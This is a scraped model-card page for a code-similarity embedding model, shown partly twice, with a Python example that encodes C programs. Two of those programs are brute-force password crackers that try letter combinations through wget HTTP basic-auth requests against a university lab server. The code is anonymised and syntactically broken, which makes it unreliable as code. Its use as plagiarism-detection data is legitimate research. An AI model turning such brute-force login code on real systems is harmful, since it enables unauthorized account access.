%s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Deploy This Model
Production-ready deployment in minutes
Together.ai
Instant API access to this model
Production-ready inference API. Start free, scale to millions.
Try Free APIReplicate
One-click model deployment
Run models in the cloud with simple API. No DevOps required.
Deploy NowDisclosure: We may earn a commission from these partners. This helps keep LLMYourWay free.